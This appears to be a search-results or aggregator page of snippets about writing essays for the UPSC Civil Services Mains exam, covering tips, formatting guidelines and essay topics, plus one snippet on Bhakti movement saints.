UPSC Mains is approaching. One of the most popular questions in the aspirants' minds for the mains preparation is: How to write essays for UPSC Civil Services Exams? We have an answer for you in the form of our new series. In UPSC Essentials' special series UPSC Essays Simplified, we take you through various steps of writing a good essay.. While there is no set formula or fixed criteria ...
UPSC Essays Simplified
How to write essays for UPSC Civil Services Exams? We have an answer for you in the form of our new series. In UPSC Essentials' special series UPSC Essays Simplified, we take you through various steps of writing a good essay.While there is no set formula or fixed criteria prescribed, Manas Srivastava talks to Ravi Kapoor, our expert, in this new series who guides the aspirants with a ...
How to write a Good Essay? Tips and Techniques for UPSC Mains
Writing a good essay is an essential skill for success in the UPSC Civil Services Exam. Join us as we explore the art of essay writing and provide valuable t...
Upsc : Guidelines on Essay Writing
UPSC : GUIDELINES ON ESSAY WRITING ... The Essays in English, should be in Times New Roman or Verdana font, font size 12, with a spacing of 1.5 on an A4 size sheet. Evaluation: Essay carries 10 marks for Director's Evaluation and will be assessed by the respective Counsellor in case of essays other than the Essay on National Security. The ...
How to Write a Good Essay in UPSC Mains, Explained
But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction. In my Mains exam, this was my introduction to the essay 'Destiny of a nation is shaped in its classroom'. "The year was 1945.
UPSC Essay Topics
The Essay paper in the UPSC Mains examination requires candidates to write multiple essays, each on a different topic, chosen from a given list of options. The essay topics for UPSC cover a wide range of issues, including social, economic, political, cultural, and philosophical aspects, both national and international.
Saints of Bhakti Movement: UPSC Art And Culture Notes
Questions related to this subject can also appear in competitive exams such as UPSC, SSC and EPFO. So, if you want to enhance your knowledge about India's religious history, then this blog is for you!